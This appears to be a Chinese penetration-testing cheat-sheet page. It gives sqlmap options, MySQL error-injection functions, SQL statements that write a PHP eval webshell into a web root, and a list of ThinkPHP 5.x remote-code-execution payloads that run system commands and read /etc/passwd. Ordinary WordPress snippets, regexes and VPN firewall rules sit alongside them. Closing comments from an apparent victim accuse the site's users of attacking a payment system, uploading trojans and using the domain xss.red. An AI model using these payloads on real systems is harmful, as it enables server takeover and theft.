Hashcat 篇
点击查看完整内容
1.根据基础特征指定规则生成密码字典
2.linux 下整理字典,清除重复、不可见等字符
sort -u tmp2.txt > tmp3.txt
SQLMAP 篇
点击查看完整内容
1.基本命令
sqlmap -r /root/desktop/1.txt -v 3
2.注入类型
B : 基于Boolean的盲注(Boolean based blind)
Q : 内联查询(Inline queries)
T : 基于时间的盲注(time based blind)
U : 基于联合查询(Union query based)
E : 基于错误(error based)
S : 栈查询(stack queries)
3.减慢时间延迟注入
4.清空会话
5.代理注入
6.注入等级(1-5)
7.加载过滤脚本(具体脚本查看 sqlmap/tamper 目录)
8.禁止某个payload 关键词
9.指定线程(提示方法请移步)
10.payload 前后缀自定义
11.dump 指定3条数
12.自动选择,快速注入
13.连接数据裤 注入
MySql 篇
点击查看完整内容
十种报错注入
1.floor()
2.extractvalue()
3.updatexml()
4.geometrycollection()
5.multipoint()
6.polygon()
7.multipolygon()
8.linestring()
9.multilinestring()
10.exp()
GETSHELL 方法汇总
1.查询信息
@@plugin_dir
SHOW VARIABLES LIKE 'plugin_dir';
// 2个表关联之内连接查询
SELECT * FROM `A表` INNER JOIN `B表` ON A表.A字段=B表.B字段;
2.导出 SHELL
select '<?php eval($_POST[mrwu]) ?>' into dumpfile '/var/www/mrwu.php';
Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[mrwu]) ?>');Select cmd from temp into outfile '/var/www/mrwu.php';Drop TABLE IF EXISTS temp;
set global general_log_file='/app/www/cjs_new/web/i.php';
select '<?php eval($_POST[mrwu]) ?>';
thinkPHP 方法汇总
点击查看完整内容
1.> 5.x getshell
index/\think\Request/input&filter=phpinfo&data=1
index/think\config/get&name=database.hostname
index/think\config/get&name=database.password
index/\think\Request/input&filter=system&data=id
index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
index/\think\view\driver\Php/display&content=<?php%20phpinfo();?>
index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
/?s=index/think\Error/appError&errno=1&errstr=1&errline=1&errfile=/etc/passwd
/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&method=get&filter[]=think\__include_file&server[]=-1&get[]=../../../../robots.txt&jltx=echo '123';
call_user_func_array、file_put_contents、assert
2.日志路径
Runtime\Logs\Home\16_09_09.log
/runtime/log/201905/04.log
/data/runtime/Logs/Admin/18_09_14.log
3.读取数据库配置文件
直接在 index.php 里面加 dump(config('database.password'));
WordPress 篇
点击查看完整内容
1.另一个更新正在进行解决方法
global $wpdb;
$wpdb->query("DELETE FROM wp_options WHERE option_name = 'core_updater.lock'");
2.WordPress调试-输出数据库sql语句
3.数据裤查询归类
$wpdb->insert( $wpdb->prefix . 'xs', array( 'xm' => '大江网络', 'xb' => '男', 'xq' => 'wordpress' ) );
$wpdb->update( $wpdb->prefix . 'xs', array( 'xb' => '男', 'xq' => 'wordpress' ), array( 'xq' => '打豆豆' ) );
$xm = $wpdb->get_var( 'SELECT * FROM `' . $wpdb->prefix . 'xs`' , 3 , 2 );
$wpdb->query( "DELETE FROM `" . $wpdb->prefix . "xs` WHERE `xq` = 'wordpress'" );
$rows = $wpdb->get_results( "SELECTa * FROM `" . $wpdb->prefix . "xs`" , ARRAY_A );
foreach ( $rows as $row ) {
echo $row['xm'] . '';
}
$row = $wpdb->get_row( "SELECTa * FROM `" . $wpdb->prefix . "xs`" , ARRAY_A , 1 );
$wpdb->print_error();
常用正则收集
点击查看完整内容
邮箱
只允许英文字母、数字、下划线、英文句号、以及中划线组成 gaozihang-001@gmail.com
^[a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$
高子航001Abc@bowbee.com.cn
名称允许汉字、字母、数字,域名只允许英文域名
^[A-Za-z0-9\u4e00-\u9fa5]+@[a-zA-Z0-9_-]+(\.[a-zA-Z0-9_-]+)+$
电话
13012345678
手机号
^1(3|4|5|6|7|8|9)\d{9}$
XXX-XXXXXXX
XXXX-XXXXXXXX
固定电话
(\(\d{3,4}\)|\d{3,4}-|\s)?\d{8}
域名
https://google.com/
^((http:\/\/)|(https:\/\/))?([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}(\/)
IP
127.0.0.1
((?:(?:25[0-5]|2[0-4]\d|[01]?\d?\d)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d?\d))
帐号校验
gaozihang_001
字母开头,允许5-16字节,允许字母数字下划线
^[a-zA-Z][a-zA-Z0-9_]{4,15}$
字符校验
汉字 高子航
^[\u4e00-\u9fa5]{0,}$
英文和数字
^[A-Za-z0-9]+$
长度为3-20的所有字符
^.{3,20}$
英文字符 由26个英文字母组成的字符串
^[A-Za-z]+$
由26个大写英文字母组成的字符串
^[A-Z]+$
由26个小写英文字母组成的字符串
^[a-z]+$
由数字和26个英文字母组成的字符串
^[A-Za-z0-9]+$
由数字、26个英文字母或者下划线组成的字符串
^\w+$
中文、英文、数字包括下划线
^[\u4E00-\u9FA5A-Za-z0-9_]+$
中文、英文、数字但不包括下划线等符号
^[\u4E00-\u9FA5A-Za-z0-9]+$
禁止输入含有%&',;=?$"
等字符
[^%&',;=?$\x22]+
禁止输入含有~
的字符
[^~\x22]+
数字正则
整数
^-?[1-9]\d*$
正整数
^[1-9]\d*$
负整数
^-[1-9]\d*$
非负整数
^[1-9]\d*|0$
非正整数
^-[1-9]\d*|0$
浮点数
^-?([1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0)$
正浮点数
^[1-9]\d*\.\d*|0\.\d*[1-9]\d*$
负浮点数
^-([1-9]\d*\.\d*|0\.\d*[1-9]\d*)$
非负浮点数
^[1-9]\d*\.\d*|0\.\d*[1-9]\d*|0?\.0+|0$
非正浮点数
^(-([1-9]\d*\.\d*|0\.\d*[1-9]\d*))|0?\.0+|0$
渗透日常小笔记
点击查看完整内容
1. 隐藏真实IP,强制电脑出网流量只从VPN出.
系统管理员命令窗口执行以下命令:
netsh advfirewall firewall add rule name="allowvpn1" dir=out action=allow enable=yes remoteip="VPN外网服务器地址, 192.168.0.0/24" #添加出网规则,只允许指定IP的流量出网
netsh advfirewall firewall add rule name="allowvpnremote1" dir=out action=allow enable=yes localip="VPN分配的内网IP" #连上VPN后只允许VPN分配的内网IP出网
T00ls-user-nopay
T00ls-user-nopay
T00ls-user-nopay
T00ls-user-nopay
叫你们会员苏志豪两兄弟别拿个脚本在那传,支付宝身份证还上传本人的,菜到这种地步,大家都是求财,如果搞出事,人家公司不介意报警
@test你所指的是XSS吗?你所说的2个人我并不认识,如果他们非法测试导致贵司损失,可以视情况考虑报警,身份证传本人,我笑会先
@Mr.Wu你好; 我们系统涉及资金 1.9万一笔, 8000一笔; 多次攻击,上传木马;
域名是您名下的 xss.red; 我们也视情况报公安局立案; 请协助调查。
@被攻击者已跟进,已封禁.